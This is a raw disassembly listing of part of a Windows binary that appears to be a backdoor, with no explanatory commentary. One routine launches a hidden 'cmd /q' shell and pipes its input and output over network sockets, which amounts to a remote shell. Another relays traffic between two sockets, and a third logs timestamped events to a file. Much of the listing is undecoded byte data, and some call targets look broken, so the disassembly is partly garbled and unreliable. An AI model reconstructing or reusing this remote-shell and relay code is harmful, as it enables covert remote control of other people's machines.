loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650C30h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEE8[eax], ecx
		nop
		call	near ptr 2650939h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_4344AC
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344EC
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFBC
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2760000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h
		dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	0CC15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8F068FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459868FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEE4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25F2CBE8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225F1E9h,	90EDEB90h
		dd 25FA00E8h, 858D5002h, 0FFFFFD2Ch, 43455C68h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434528h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0ECB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAFBCh, 187FC085h
		dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h
		dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43466068h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh
		dd 43462068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFF415FFh
		dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Bh, 50106AE8h, 4C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345DCh, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h,	4CB03C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h
		dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B03C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE90
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE90
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 4AE89000h
		dd 390225EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 8415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	8415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFD015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EC83E890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 25EC50E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh
		dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF7C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 4346CCh, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 0AC68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 0A068096Ah, 56004346h,	0B00815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB03C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 0E92FE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27600EBh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-114h]
		push	offset asc_434E8C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E5C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 0BB004Ch, 6A000002h,	0DEE89008h, 0FF0225E7h,	4CAF2815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434EBCh, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46F40845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h
		dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4EA46850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E9068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434E2408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h,	4589026Ah
		dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h,	3815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 2C68FFFFh, 50004358h,	9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 43580068h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
